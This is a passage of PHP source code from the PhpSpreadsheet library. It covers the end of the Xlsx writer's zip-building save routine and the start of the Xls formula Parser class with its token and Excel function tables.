$this->includeCharts); //if hasMacros, add the vbaProject.bin file, Certificate file(if exists) if ($this->spreadSheet->hasMacros()) { $macrosCode = $this->spreadSheet->getMacrosCode(); if ($macrosCode !== null) { // we have the code ? $zipContent['xl/vbaProject.bin'] = $macrosCode; //allways in 'xl', allways named vbaProject.bin if ($this->spreadSheet->hasMacrosCertificate()) { //signed macros ? // Yes : add the certificate file and the related rels file $zipContent['xl/vbaProjectSignature.bin'] = $this->spreadSheet->getMacrosCertificate(); $zipContent['xl/_rels/vbaProject.bin.rels'] = $this->getWriterPartRelsVBA()->writeVBARelationships(); } } } //a custom UI in this workbook ? add it ("base" xml and additional objects (pictures) and rels) if ($this->spreadSheet->hasRibbon()) { $tmpRibbonTarget = $this->spreadSheet->getRibbonXMLData('target'); $tmpRibbonTarget = is_string($tmpRibbonTarget) ? $tmpRibbonTarget : ''; $zipContent[$tmpRibbonTarget] = $this->spreadSheet->getRibbonXMLData('data'); if ($this->spreadSheet->hasRibbonBinObjects()) { $tmpRootPath = dirname($tmpRibbonTarget) . '/'; $ribbonBinObjects = $this->spreadSheet->getRibbonBinObjects('data'); //the files to write if (is_array($ribbonBinObjects)) { foreach ($ribbonBinObjects as $aPath => $aContent) { $zipContent[$tmpRootPath . $aPath] = $aContent; } } //the rels for files $zipContent[$tmpRootPath . '_rels/' . basename($tmpRibbonTarget) . '.rels'] = $this->getWriterPartRelsRibbon()->writeRibbonRelationships($this->spreadSheet); } } // Add relationships to ZIP file $zipContent['_rels/.rels'] = $this->getWriterPartRels()->writeRelationships($this->spreadSheet); $zipContent['xl/_rels/workbook.xml.rels'] = $this->getWriterPartRels()->writeWorkbookRelationships($this->spreadSheet); // Add document properties to ZIP file $zipContent['docProps/app.xml'] = $this->getWriterPartDocProps()->writeDocPropsApp($this->spreadSheet); $zipContent['docProps/core.xml'] = $this->getWriterPartDocProps()->writeDocPropsCore($this->spreadSheet); $customPropertiesPart = $this->getWriterPartDocProps()->writeDocPropsCustom($this->spreadSheet); if ($customPropertiesPart !== null) { $zipContent['docProps/custom.xml'] = $customPropertiesPart; } // Add theme to ZIP file $zipContent['xl/theme/theme1.xml'] = $this->getWriterPartTheme()->writeTheme($this->spreadSheet); // Add string table to ZIP file $zipContent['xl/sharedStrings.xml'] = $this->getWriterPartStringTable()->writeStringTable($this->stringTable); // Add styles to ZIP file $zipContent['xl/styles.xml'] = $this->getWriterPartStyle()->writeStyles($this->spreadSheet); // Add workbook to ZIP file $zipContent['xl/workbook.xml'] = $this->getWriterPartWorkbook()->writeWorkbook($this->spreadSheet, $this->preCalculateFormulas); $chartCount = 0; // Add worksheets for ($i = 0; $i < $this->spreadSheet->getSheetCount(); ++$i) { $zipContent['xl/worksheets/sheet' . ($i + 1) . '.xml'] = $this->getWriterPartWorksheet()->writeWorksheet($this->spreadSheet->getSheet($i), $this->stringTable, $this->includeCharts); if ($this->includeCharts) { $charts = $this->spreadSheet->getSheet($i)->getChartCollection(); if (count($charts) > 0) { foreach ($charts as $chart) { $zipContent['xl/charts/chart' . ($chartCount + 1) . '.xml'] = $this->getWriterPartChart()->writeChart($chart, $this->preCalculateFormulas); ++$chartCount; } } } } $chartRef1 = 0; $tableRef1 = 1; // Add worksheet relationships (drawings, ...) for ($i = 0; $i < $this->spreadSheet->getSheetCount(); ++$i) { // Add relationships $zipContent['xl/worksheets/_rels/sheet' . ($i + 1) . '.xml.rels'] = $this->getWriterPartRels()->writeWorksheetRelationships($this->spreadSheet->getSheet($i), ($i + 1), $this->includeCharts, $tableRef1, $zipContent); // Add unparsedLoadedData $sheetCodeName = $this->spreadSheet->getSheet($i)->getCodeName(); $unparsedLoadedData = $this->spreadSheet->getUnparsedLoadedData(); if (isset($unparsedLoadedData['sheets'][$sheetCodeName]['ctrlProps'])) { foreach ($unparsedLoadedData['sheets'][$sheetCodeName]['ctrlProps'] as $ctrlProp) { $zipContent[$ctrlProp['filePath']] = $ctrlProp['content']; } } if (isset($unparsedLoadedData['sheets'][$sheetCodeName]['printerSettings'])) { foreach ($unparsedLoadedData['sheets'][$sheetCodeName]['printerSettings'] as $ctrlProp) { $zipContent[$ctrlProp['filePath']] = $ctrlProp['content']; } } $drawings = $this->spreadSheet->getSheet($i)->getDrawingCollection(); $drawingCount = count($drawings); if ($this->includeCharts) { $chartCount = $this->spreadSheet->getSheet($i)->getChartCount(); } // Add drawing and image relationship parts if (($drawingCount > 0) || ($chartCount > 0)) { // Drawing relationships $zipContent['xl/drawings/_rels/drawing' . ($i + 1) . '.xml.rels'] = $this->getWriterPartRels()->writeDrawingRelationships($this->spreadSheet->getSheet($i), $chartRef1, $this->includeCharts); // Drawings $zipContent['xl/drawings/drawing' . ($i + 1) . '.xml'] = $this->getWriterPartDrawing()->writeDrawings($this->spreadSheet->getSheet($i), $this->includeCharts); } elseif (isset($unparsedLoadedData['sheets'][$sheetCodeName]['drawingAlternateContents'])) { // Drawings $zipContent['xl/drawings/drawing' . ($i + 1) . '.xml'] = $this->getWriterPartDrawing()->writeDrawings($this->spreadSheet->getSheet($i), $this->includeCharts); } // Add unparsed drawings if (isset($unparsedLoadedData['sheets'][$sheetCodeName]['Drawings']) && !isset($zipContent['xl/drawings/drawing' . ($i + 1) . '.xml'])) { foreach ($unparsedLoadedData['sheets'][$sheetCodeName]['Drawings'] as $relId => $drawingXml) { $drawingFile = array_search($relId, $unparsedLoadedData['sheets'][$sheetCodeName]['drawingOriginalIds']); if ($drawingFile !== false) { //$drawingFile = ltrim($drawingFile, '.'); //$zipContent['xl' . $drawingFile] = $drawingXml; $zipContent['xl/drawings/drawing' . ($i + 1) . '.xml'] = $drawingXml; } } } if (isset($unparsedLoadedData['sheets'][$sheetCodeName]['drawingOriginalIds']) && !isset($zipContent['xl/drawings/drawing' . ($i + 1) . '.xml'])) { $zipContent['xl/drawings/drawing' . ($i + 1) . '.xml'] = '<xml></xml>'; } // Add comment relationship parts $legacy = $unparsedLoadedData['sheets'][$this->spreadSheet->getSheet($i)->getCodeName()]['legacyDrawing'] ?? null; if (count($this->spreadSheet->getSheet($i)->getComments()) > 0 || $legacy !== null) { // VML Comments relationships $zipContent['xl/drawings/_rels/vmlDrawing' . ($i + 1) . '.vml.rels'] = $this->getWriterPartRels()->writeVMLDrawingRelationships($this->spreadSheet->getSheet($i)); // VML Comments $zipContent['xl/drawings/vmlDrawing' . ($i + 1) . '.vml'] = $legacy ?? $this->getWriterPartComments()->writeVMLComments($this->spreadSheet->getSheet($i)); } // Comments if (count($this->spreadSheet->getSheet($i)->getComments()) > 0) { $zipContent['xl/comments' . ($i + 1) . '.xml'] = $this->getWriterPartComments()->writeComments($this->spreadSheet->getSheet($i)); // Media foreach ($this->spreadSheet->getSheet($i)->getComments() as $comment) { if ($comment->hasBackgroundImage()) { $image = $comment->getBackgroundImage(); $zipContent['xl/media/' . $image->getMediaFilename()] = $this->processDrawing($image); } } } // Add unparsed relationship parts if (isset($unparsedLoadedData['sheets'][$sheetCodeName]['vmlDrawings'])) { foreach ($unparsedLoadedData['sheets'][$sheetCodeName]['vmlDrawings'] as $vmlDrawing) { if (!isset($zipContent[$vmlDrawing['filePath']])) { $zipContent[$vmlDrawing['filePath']] = $vmlDrawing['content']; } } } // Add header/footer relationship parts if (count($this->spreadSheet->getSheet($i)->getHeaderFooter()->getImages()) > 0) { // VML Drawings $zipContent['xl/drawings/vmlDrawingHF' . ($i + 1) . '.vml'] = $this->getWriterPartDrawing()->writeVMLHeaderFooterImages($this->spreadSheet->getSheet($i)); // VML Drawing relationships $zipContent['xl/drawings/_rels/vmlDrawingHF' . ($i + 1) . '.vml.rels'] = $this->getWriterPartRels()->writeHeaderFooterDrawingRelationships($this->spreadSheet->getSheet($i)); // Media foreach ($this->spreadSheet->getSheet($i)->getHeaderFooter()->getImages() as $image) { $zipContent['xl/media/' . $image->getIndexedFilename()] = file_get_contents($image->getPath()); } } // Add Table parts $tables = $this->spreadSheet->getSheet($i)->getTableCollection(); foreach ($tables as $table) { $zipContent['xl/tables/table' . $tableRef1 . '.xml'] = $this->getWriterPartTable()->writeTable($table, $tableRef1++); } } // Add media for ($i = 0; $i < $this->getDrawingHashTable()->count(); ++$i) { if ($this->getDrawingHashTable()->getByIndex($i) instanceof WorksheetDrawing) { $imageContents = null; $imagePath = $this->getDrawingHashTable()->getByIndex($i)->getPath(); if (str_contains($imagePath, 'zip://')) { $imagePath = substr($imagePath, 6); $imagePathSplitted = explode('#', $imagePath); $imageZip = new ZipArchive(); $imageZip->open($imagePathSplitted[0]); $imageContents = $imageZip->getFromName($imagePathSplitted[1]); $imageZip->close(); unset($imageZip); } else { $imageContents = file_get_contents($imagePath); } $zipContent['xl/media/' . $this->getDrawingHashTable()->getByIndex($i)->getIndexedFilename()] = $imageContents; } elseif ($this->getDrawingHashTable()->getByIndex($i) instanceof MemoryDrawing) { ob_start(); /** @var callable $callable */ $callable = $this->getDrawingHashTable()->getByIndex($i)->getRenderingFunction(); call_user_func( $callable, $this->getDrawingHashTable()->getByIndex($i)->getImageResource() ); $imageContents = ob_get_contents(); ob_end_clean(); $zipContent['xl/media/' . $this->getDrawingHashTable()->getByIndex($i)->getIndexedFilename()] = $imageContents; } } Functions::setReturnDateType($saveDateReturnType); Calculation::getInstance($this->spreadSheet)->getDebugLog()->setWriteDebugLog($saveDebugLog); $this->openFileHandle($filename); $this->zip = ZipStream0::newZipStream($this->fileHandle); $this->addZipFiles($zipContent); // Close file try { $this->zip->finish(); } catch (OverflowException) { throw new WriterException('Could not close resource.'); } $this->maybeCloseFileHandle(); } /** * Get Spreadsheet object. */ public function getSpreadsheet(): Spreadsheet { return $this->spreadSheet; } /** * Set Spreadsheet object. * * @param Spreadsheet $spreadsheet PhpSpreadsheet object * * @return $this */ public function setSpreadsheet(Spreadsheet $spreadsheet): static { $this->spreadSheet = $spreadsheet; return $this; } /** * Get string table. * * @return string[] */ public function getStringTable(): array { return $this->stringTable; } /** * Get Style HashTable. * * @return HashTable<\PhpOffice\PhpSpreadsheet\Style\Style> */ public function getStyleHashTable(): HashTable { return $this->styleHashTable; } /** * Get Conditional HashTable. * * @return HashTable<Conditional> */ public function getStylesConditionalHashTable(): HashTable { return $this->stylesConditionalHashTable; } /** * Get Fill HashTable. * * @return HashTable<Fill> */ public function getFillHashTable(): HashTable { return $this->fillHashTable; } /** * Get \PhpOffice\PhpSpreadsheet\Style\Font HashTable. * * @return HashTable<Font> */ public function getFontHashTable(): HashTable { return $this->fontHashTable; } /** * Get Borders HashTable. * * @return HashTable<Borders> */ public function getBordersHashTable(): HashTable { return $this->bordersHashTable; } /** * Get NumberFormat HashTable. * * @return HashTable<NumberFormat> */ public function getNumFmtHashTable(): HashTable { return $this->numFmtHashTable; } /** * Get \PhpOffice\PhpSpreadsheet\Worksheet\Worksheet\BaseDrawing HashTable. * * @return HashTable<BaseDrawing> */ public function getDrawingHashTable(): HashTable { return $this->drawingHashTable; } /** * Get Office2003 compatibility. */ public function getOffice2003Compatibility(): bool { return $this->office2003compatibility; } /** * Set Office2003 compatibility. * * @param bool $office2003compatibility Office2003 compatibility? * * @return $this */ public function setOffice2003Compatibility(bool $office2003compatibility): static { $this->office2003compatibility = $office2003compatibility; return $this; } private array $pathNames = []; private function addZipFile(string $path, string $content): void { if (!in_array($path, $this->pathNames)) { $this->pathNames[] = $path; $this->zip->addFile($path, $content); } } private function addZipFiles(array $zipContent): void { foreach ($zipContent as $path => $content) { $this->addZipFile($path, $content); } } private function processDrawing(WorksheetDrawing $drawing): string|null|false { $data = null; $filename = $drawing->getPath(); $imageData = getimagesize($filename); if (!empty($imageData)) { switch ($imageData[2]) { case 1: // GIF, not supported by BIFF8, we convert to PNG $image = imagecreatefromgif($filename); if ($image !== false) { ob_start(); imagepng($image); $data = ob_get_contents(); ob_end_clean(); } break; case 2: // JPEG $data = file_get_contents($filename); break; case 3: // PNG $data = file_get_contents($filename); break; case 6: // Windows DIB (BMP), we convert to PNG $image = imagecreatefrombmp($filename); if ($image !== false) { ob_start(); imagepng($image); $data = ob_get_contents(); ob_end_clean(); } break; } } return $data; } public function getExplicitStyle0(): bool { return $this->explicitStyle0; } /** * This may be useful if non-default Alignment is part of default style * and you think you might want to open the spreadsheet * with LibreOffice or Gnumeric. */ public function setExplicitStyle0(bool $explicitStyle0): self { $this->explicitStyle0 = $explicitStyle0; return $this; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Writer/Xls/Parser.php000064400000153014151676714400021242 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Writer\Xls; use PhpOffice\PhpSpreadsheet\Calculation\Calculation; use PhpOffice\PhpSpreadsheet\Shared\StringHelper; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet as PhpspreadsheetWorksheet; use PhpOffice\PhpSpreadsheet\Writer\Exception as WriterException; // Original file header of PEAR::Spreadsheet_Excel_Writer_Parser (used as the base for this class): // ----------------------------------------------------------------------------------------- // * Class for parsing Excel formulas // * // * License Information: // * // * Spreadsheet_Excel_Writer: A library for generating Excel Spreadsheets // * Copyright (c) 2002-2003 Xavier Noguer xnoguer@rezebra.com // * // * This library is free software; you can redistribute it and/or // * modify it under the terms of the GNU Lesser General Public // * License as published by the Free Software Foundation; either // * version 2.1 of the License, or (at your option) any later version. // * // * This library is distributed in the hope that it will be useful, // * but WITHOUT ANY WARRANTY; without even the implied warranty of // * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU // * Lesser General Public License for more details. // * // * You should have received a copy of the GNU Lesser General Public // * License along with this library; if not, write to the Free Software // * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA // */ class Parser { /** Constants */ // Sheet title in unquoted form // Invalid sheet title characters cannot occur in the sheet title: // *:/\?[] // Moreover, there are valid sheet title characters that cannot occur in unquoted form (there may be more?) // +-% '^&<>=,;#()"{} const REGEX_SHEET_TITLE_UNQUOTED = '[^\*\:\/\\\\\?\[\]\+\-\% \\\'\^\&\<\>\=\,\;\#\(\)\"\{\}]+'; // Sheet title in quoted form (without surrounding quotes) // Invalid sheet title characters cannot occur in the sheet title: // *:/\?[] (usual invalid sheet title characters) // Single quote is represented as a pair '' const REGEX_SHEET_TITLE_QUOTED = '(([^\*\:\/\\\\\?\[\]\\\'])+|(\\\'\\\')+)+'; /** * The index of the character we are currently looking at. */ public int $currentCharacter; /** * The token we are working on. */ public string $currentToken; /** * The formula to parse. */ private string $formula; /** * The character ahead of the current char. */ public string $lookAhead; /** * The parse tree to be generated. */ public array|string $parseTree; /** * Array of external sheets. */ private array $externalSheets; /** * Array of sheet references in the form of REF structures. */ public array $references; /** * The Excel ptg indices. */ private array $ptg = [ 'ptgExp' => 0x01, 'ptgTbl' => 0x02, 'ptgAdd' => 0x03, 'ptgSub' => 0x04, 'ptgMul' => 0x05, 'ptgDiv' => 0x06, 'ptgPower' => 0x07, 'ptgConcat' => 0x08, 'ptgLT' => 0x09, 'ptgLE' => 0x0A, 'ptgEQ' => 0x0B, 'ptgGE' => 0x0C, 'ptgGT' => 0x0D, 'ptgNE' => 0x0E, 'ptgIsect' => 0x0F, 'ptgUnion' => 0x10, 'ptgRange' => 0x11, 'ptgUplus' => 0x12, 'ptgUminus' => 0x13, 'ptgPercent' => 0x14, 'ptgParen' => 0x15, 'ptgMissArg' => 0x16, 'ptgStr' => 0x17, 'ptgAttr' => 0x19, 'ptgSheet' => 0x1A, 'ptgEndSheet' => 0x1B, 'ptgErr' => 0x1C, 'ptgBool' => 0x1D, 'ptgInt' => 0x1E, 'ptgNum' => 0x1F, 'ptgArray' => 0x20, 'ptgFunc' => 0x21, 'ptgFuncVar' => 0x22, 'ptgName' => 0x23, 'ptgRef' => 0x24, 'ptgArea' => 0x25, 'ptgMemArea' => 0x26, 'ptgMemErr' => 0x27, 'ptgMemNoMem' => 0x28, 'ptgMemFunc' => 0x29, 'ptgRefErr' => 0x2A, 'ptgAreaErr' => 0x2B, 'ptgRefN' => 0x2C, 'ptgAreaN' => 0x2D, 'ptgMemAreaN' => 0x2E, 'ptgMemNoMemN' => 0x2F, 'ptgNameX' => 0x39, 'ptgRef3d' => 0x3A, 'ptgArea3d' => 0x3B, 'ptgRefErr3d' => 0x3C, 'ptgAreaErr3d' => 0x3D, 'ptgArrayV' => 0x40, 'ptgFuncV' => 0x41, 'ptgFuncVarV' => 0x42, 'ptgNameV' => 0x43, 'ptgRefV' => 0x44, 'ptgAreaV' => 0x45, 'ptgMemAreaV' => 0x46, 'ptgMemErrV' => 0x47, 'ptgMemNoMemV' => 0x48, 'ptgMemFuncV' => 0x49, 'ptgRefErrV' => 0x4A, 'ptgAreaErrV' => 0x4B, 'ptgRefNV' => 0x4C, 'ptgAreaNV' => 0x4D, 'ptgMemAreaNV' => 0x4E, 'ptgMemNoMemNV' => 0x4F, 'ptgFuncCEV' => 0x58, 'ptgNameXV' => 0x59, 'ptgRef3dV' => 0x5A, 'ptgArea3dV' => 0x5B, 'ptgRefErr3dV' => 0x5C, 'ptgAreaErr3dV' => 0x5D, 'ptgArrayA' => 0x60, 'ptgFuncA' => 0x61, 'ptgFuncVarA' => 0x62, 'ptgNameA' => 0x63, 'ptgRefA' => 0x64, 'ptgAreaA' => 0x65, 'ptgMemAreaA' => 0x66, 'ptgMemErrA' => 0x67, 'ptgMemNoMemA' => 0x68, 'ptgMemFuncA' => 0x69, 'ptgRefErrA' => 0x6A, 'ptgAreaErrA' => 0x6B, 'ptgRefNA' => 0x6C, 'ptgAreaNA' => 0x6D, 'ptgMemAreaNA' => 0x6E, 'ptgMemNoMemNA' => 0x6F, 'ptgFuncCEA' => 0x78, 'ptgNameXA' => 0x79, 'ptgRef3dA' => 0x7A, 'ptgArea3dA' => 0x7B, 'ptgRefErr3dA' => 0x7C, 'ptgAreaErr3dA' => 0x7D, ]; /** * Thanks to Michael Meeks and Gnumeric for the initial arg values. * * The following hash was generated by "function_locale.pl" in the distro. * Refer to function_locale.pl for non-English function names. * * The array elements are as follow: * ptg: The Excel function ptg code. * args: The number of arguments that the function takes: * >=0 is a fixed number of arguments. * -1 is a variable number of arguments. * class: The reference, value or array class of the function args. * vol: The function is volatile. */ private array $functions = [ // function ptg args class vol 'COUNT' => [0, -1, 0, 0], 'IF' => [1, -1, 1, 0], 'ISNA' => [2, 1, 1, 0], 'ISERROR' => [3, 1, 1, 0], 'SUM' => [4, -1, 0, 0], 'AVERAGE' => [5, -1, 0, 0], 'MIN' => [6, -1, 0, 0], 'MAX' => [7, -1, 0, 0], 'ROW' => [8, -1, 0, 0], 'COLUMN' => [9, -1, 0, 0], 'NA' => [10, 0, 0, 0], 'NPV' => [11, -1, 1, 0], 'STDEV' => [12, -1, 0, 0], 'DOLLAR' => [13, -1, 1, 0], 'FIXED' => [14, -1, 1, 0], 'SIN' => [15, 1, 1, 0], 'COS' => [16, 1, 1, 0], 'TAN' => [17, 1, 1, 0], 'ATAN' => [18, 1, 1, 0], 'PI' => [19, 0, 1, 0], 'SQRT' => [20, 1, 1, 0], 'EXP' => [21, 1, 1, 0], 'LN' => [22, 1, 1, 0], 'LOG10' => [23, 1, 1, 0], 'ABS' => [24, 1, 1, 0], 'INT' => [25, 1, 1, 0], 'SIGN' => [26, 1, 1, 0], 'ROUND' => [27, 2, 1, 0], 'LOOKUP' => [28, -1, 0, 0], 'INDEX' => [29, -1, 0, 1], 'REPT' => [30, 2, 1, 0], 'MID' => [31, 3, 1, 0], 'LEN' => [32, 1, 1, 0], 'VALUE' => [33, 1, 1, 0], 'TRUE' => [34, 0, 1, 0], 'FALSE' => [35, 0, 1, 0], 'AND' => [36, -1, 0, 0], 'OR' => [37, -1, 0, 0], 'NOT' => [38, 1, 1, 0], 'MOD' => [39, 2, 1, 0], 'DCOUNT' => [40, 3, 0, 0], 'DSUM' => [41, 3, 0, 0], 'DAVERAGE' => [42, 3, 0, 0], 'DMIN' => [43, 3, 0, 0], 'DMAX' => [44, 3, 0, 0], 'DSTDEV' => [45, 3, 0, 0], 'VAR' => [46, -1, 0, 0], 'DVAR' => [47, 3, 0, 0], 'TEXT' => [48, 2, 1, 0], 'LINEST' => [49, -1, 0, 0], 'TREND' => [50, -1, 0, 0], 'LOGEST' => [51, -1, 0, 0], 'GROWTH' => [52, -1, 0, 0], 'PV' => [56, -1, 1, 0], 'FV' => [57, -1, 1, 0], 'NPER' => [58, -1, 1, 0], 'PMT' => [59, -1, 1, 0], 'RATE' => [60, -1, 1, 0], 'MIRR' => [61, 3, 0, 0], 'IRR' => [62, -1, 0, 0], 'RAND' => [63, 0, 1, 1], 'MATCH' => [64, -1, 0, 0], 'DATE' => [65, 3, 1, 0], 'TIME' => [66, 3, 1, 0], 'DAY' => [67, 1, 1, 0], 'MONTH' => [68, 1, 1, 0], 'YEAR' => [69, 1, 1, 0], 'WEEKDAY' => [70, -1, 1, 0], 'HOUR' => [71, 1, 1, 0], 'MINUTE' => [72, 1, 1, 0], 'SECOND' => [73, 1, 1, 0], 'NOW' => [74, 0, 1, 1], 'AREAS' => [75, 1, 0, 1], 'ROWS' => [76, 1, 0, 1], 'COLUMNS' => [77, 1, 0, 1], 'OFFSET' => [78, -1, 0, 1], 'SEARCH' => [82, -1, 1, 0], 'TRANSPOSE' => [83, 1, 1, 0], 'TYPE' => [86, 1, 1, 0], 'ATAN2' => [97, 2, 1, 0], 'ASIN' => [98, 1, 1, 0], 'ACOS' => [99, 1, 1, 0], 'CHOOSE' => [100, -1, 1, 0], 'HLOOKUP' => [101, -1, 0, 0], 'VLOOKUP' => [102, -1, 0, 0], 'ISREF' => [105, 1, 0, 0], 'LOG' => [109, -1, 1, 0], 'CHAR' => [111, 1, 1, 0], 'LOWER' => [112, 1, 1, 0], 'UPPER' => [113, 1, 1, 0], 'PROPER' => [114, 1, 1, 0], 'LEFT' => [115, -1, 1, 0], 'RIGHT' => [116, -1, 1, 0], 'EXACT' => [117, 2, 1, 0], 'TRIM' => [118, 1, 1, 0], 'REPLACE' => [119, 4, 1, 0], 'SUBSTITUTE' => [120, -1, 1, 0], 'CODE' => [121, 1, 1, 0], 'FIND' => [124, -1, 1, 0], 'CELL' => [125, -1, 0, 1], 'ISERR' => [126, 1, 1, 0], 'ISTEXT' => [127, 1, 1, 0], 'ISNUMBER' => [128, 1, 1, 0], 'ISBLANK' => [129, 1, 1, 0], 'T' => [130, 1, 0, 0], 'N' => [131, 1, 0, 0], 'DATEVALUE' => [140, 1, 1, 0], 'TIMEVALUE' => [141, 1, 1, 0], 'SLN' => [142, 3, 1, 0], 'SYD' => [143, 4, 1, 0], 'DDB' => [144, -1, 1, 0], 'INDIRECT' => [148, -1, 1, 1], 'CALL' => [150, -1, 1, 0], 'CLEAN' => [162, 1, 1, 0], 'MDETERM' => [163, 1, 2, 0], 'MINVERSE' => [164, 1, 2, 0], 'MMULT' => [165, 2, 2, 0], 'IPMT' => [167, -1, 1, 0], 'PPMT' => [168, -1, 1, 0], 'COUNTA' => [169, -1, 0, 0], 'PRODUCT' => [183, -1, 0, 0], 'FACT' => [184, 1, 1, 0], 'DPRODUCT' => [189, 3, 0, 0], 'ISNONTEXT' => [190, 1, 1, 0], 'STDEVP' => [193, -1, 0, 0], 'VARP' => [194, -1, 0, 0], 'DSTDEVP' => [195, 3, 0, 0], 'DVARP' => [196, 3, 0, 0], 'TRUNC' => [197, -1, 1, 0], 'ISLOGICAL' => [198, 1, 1, 0], 'DCOUNTA' => [199, 3, 0, 0], 'USDOLLAR' => [204, -1, 1, 0], 'FINDB' => [205, -1, 1, 0], 'SEARCHB' => [206, -1, 1, 0], 'REPLACEB' => [207, 4, 1, 0], 'LEFTB' => [208, -1, 1, 0], 'RIGHTB' => [209, -1, 1, 0], 'MIDB' => [210, 3, 1, 0], 'LENB' => [211, 1, 1, 0], 'ROUNDUP' => [212, 2, 1, 0], 'ROUNDDOWN' => [213, 2, 1, 0], 'ASC' => [214, 1, 1, 0], 'DBCS' => [215, 1, 1, 0], 'RANK' => [216, -1, 0, 0], 'ADDRESS' => [219, -1, 1, 0], 'DAYS360' => [220, -1, 1, 0], 'TODAY' => [221, 0, 1, 1], 'VDB' => [222, -1, 1, 0], 'MEDIAN' => [227, -1, 0, 0], 'SUMPRODUCT' => [228, -1, 2, 0], 'SINH' => [229, 1, 1, 0], 'COSH' => [230, 1, 1, 0], 'TANH' => [231, 1, 1, 0], 'ASINH' => [232, 1, 1, 0], 'ACOSH' => [233, 1, 1, 0], 'ATANH' => [234, 1, 1, 0], 'DGET' => [235, 3, 0, 0], 'INFO' => [244, 1, 1, 1], 'DB' => [247, -1, 1, 0], 'FREQUENCY' => [252, 2, 0, 0], 'ERROR.TYPE' => [261, 1, 1, 0], 'REGISTER.ID' => [267, -1, 1, 0], 'AVEDEV' => [269, -1, 0, 0], 'BETADIST' => [270, -1, 1, 0], 'GAMMALN' => [271, 1, 1, 0], 'BETAINV' => [272, -1, 1, 0], 'BINOMDIST' => [273, 4, 1, 0], 'CHIDIST' => [274, 2, 1, 0], 'CHIINV' => [275, 2, 1, 0], 'COMBIN' => [276, 2, 1, 0], 'CONFIDENCE' => [277, 3, 1, 0], 'CRITBINOM' => [278, 3, 1, 0], 'EVEN' => [279, 1, 1, 0], 'EXPONDIST' => [280, 3, 1, 0], 'FDIST' => [281, 3, 1, 0], 'FINV' => [282, 3, 1, 0], 'FISHER' => [283, 1, 1, 0], 'FISHERINV' => [284, 1, 1, 0], 'FLOOR' => [285, 2, 1, 0], 'GAMMADIST' => [286, 4, 1, 0], 'GAMMAINV' => [287, 3, 1, 0], 'CEILING' => [288, 2, 1, 0], 'HYPGEOMDIST' => [289, 4, 1, 0], 'LOGNORMDIST' => [290, 3, 1, 0], 'LOGINV' => [291, 3, 1, 0], 'NEGBINOMDIST' => [292, 3, 1, 0], 'NORMDIST' => [293, 4, 1, 0], 'NORMSDIST' => [294, 1, 1, 0], 'NORMINV' => [295, 3, 1, 0], 'NORMSINV' => [296, 1, 1, 0], 'STANDARDIZE' => [297, 3, 1, 0], 'ODD' => [298, 1, 1, 0], 'PERMUT' => [299, 2, 1, 0], 'POISSON' => [300, 3, 1, 0], 'TDIST' => [301, 3, 1, 0], 'WEIBULL' => [302, 4, 1, 0], 'SUMXMY2' => [303, 2, 2, 0], 'SUMX2MY2' => [304, 2, 2, 0], 'SUMX2PY2' => [305, 2, 2, 0], 'CHITEST' => [306, 2, 2, 0], 'CORREL' => [307, 2, 2, 0], 'COVAR' => [308, 2, 2, 0], 'FORECAST' => [309, 3, 2, 0], 'FTEST' => [310, 2, 2, 0], 'INTERCEPT' => [311, 2, 2, 0], 'PEARSON' => [312, 2, 2, 0], 'RSQ' => [313, 2, 2, 0], 'STEYX' => [314, 2, 2, 0], 'SLOPE' => [315, 2, 2, 0], 'TTEST' => [316, 4, 2, 0], 'PROB' => [317, -1, 2, 0], 'DEVSQ' => [318, -1, 0, 0], 'GEOMEAN' => [319, -1, 0, 0], 'HARMEAN' => [320, -1, 0, 0], 'SUMSQ' => [321, -1, 0, 0], 'KURT' => [322, -1, 0, 0], 'SKEW' => [323, -1, 0, 0], 'ZTEST' => [324, -1, 0, 0], 'LARGE' => [325, 2, 0, 0], 'SMALL' => [326, 2, 0, 0], 'QUARTILE' => [327, 2, 0, 0], 'PERCENTILE' => [328, 2, 0, 0], 'PERCENTRANK' => [329, -1, 0, 0], 'MODE' => [330, -1, 2, 0], 'TRIMMEAN' => [331, 2, 0, 0], 'TINV' => [332, 2, 1, 0], 'CONCATENATE' => [336, -1, 1, 0], 'POWER' => [337, 2, 1, 0], 'RADIANS' => [342, 1, 1, 0], 'DEGREES' => [343, 1, 1, 0], 'SUBTOTAL' => [344, -1, 0, 0], 'SUMIF' => [345, -1, 0, 0], 'COUNTIF' => [346, 2, 0, 0], 'COUNTBLANK' => [347, 1, 0, 0], 'ISPMT' => [350, 4, 1, 0], 'DATEDIF' => [351, 3, 1, 0], 'DATESTRING' => [352, 1, 1, 0], 'NUMBERSTRING' => [353, 2, 1, 0], 'ROMAN' => [354, -1, 1, 0], 'GETPIVOTDATA' => [358, -1, 0, 0], 'HYPERLINK' => [359, -1, 1, 0], 'PHONETIC' => [360, 1, 0, 0], 'AVERAGEA' => [361, -1, 0, 0], 'MAXA' => [362, -1, 0, 0], 'MINA' => [363, -1, 0, 0], 'STDEVPA' => [364, -1, 0, 0], 'VARPA' => [365, -1, 0, 0], 'STDEVA' => [366, -1, 0, 0], 'VARA' => [367, -1, 0, 0], 'BAHTTEXT' => [368, 1, 0, 0], ]; private Spreadsheet $spreadsheet; /** * The class constructor. */ public function __construct(Spreadsheet $spreadsheet) { $this->spreadsheet = $spreadsheet; $this->currentCharacter = 0; $this->currentToken = ''; // The token we are working on. $this->formula = ''; // The formula to parse. $this->lookAhead = ''; // The character ahead of the current char. $this->parseTree = ''; // The parse tree to be generated. $this->externalSheets = []; $this->references = []; } /** * Convert a token to the proper ptg value. * * @param string $token the token to convert * * @return string the converted token on success */ private function convert(string $token): string { if (preg_match('/"([^"]|""){0,255}"/', $token)) { return $this->convertString($token); } if (is_numeric($token)) { return $this->convertNumber($token); } // match references like A1 or $A$1 if (preg_match('/^\$?([A-Ia-i]?[A-Za-z])\$?(\d+)$/', $token)) { return $this->convertRef2d($token); } // match external references like Sheet1!A1 or Sheet1:Sheet2!A1 or Sheet1!$A$1 or Sheet1:Sheet2!$A$1 if (preg_match('/^' . self::REGEX_SHEET_TITLE_UNQUOTED . '(\\:' . self::REGEX_SHEET_TITLE_UNQUOTED . ')?\\!\$?[A-Ia-i]?[A-Za-z]\$?(\\d+)$/u', $token)) { return $this->convertRef3d($token); } // match external references like 'Sheet1'!A1 or 'Sheet1:Sheet2'!A1 or 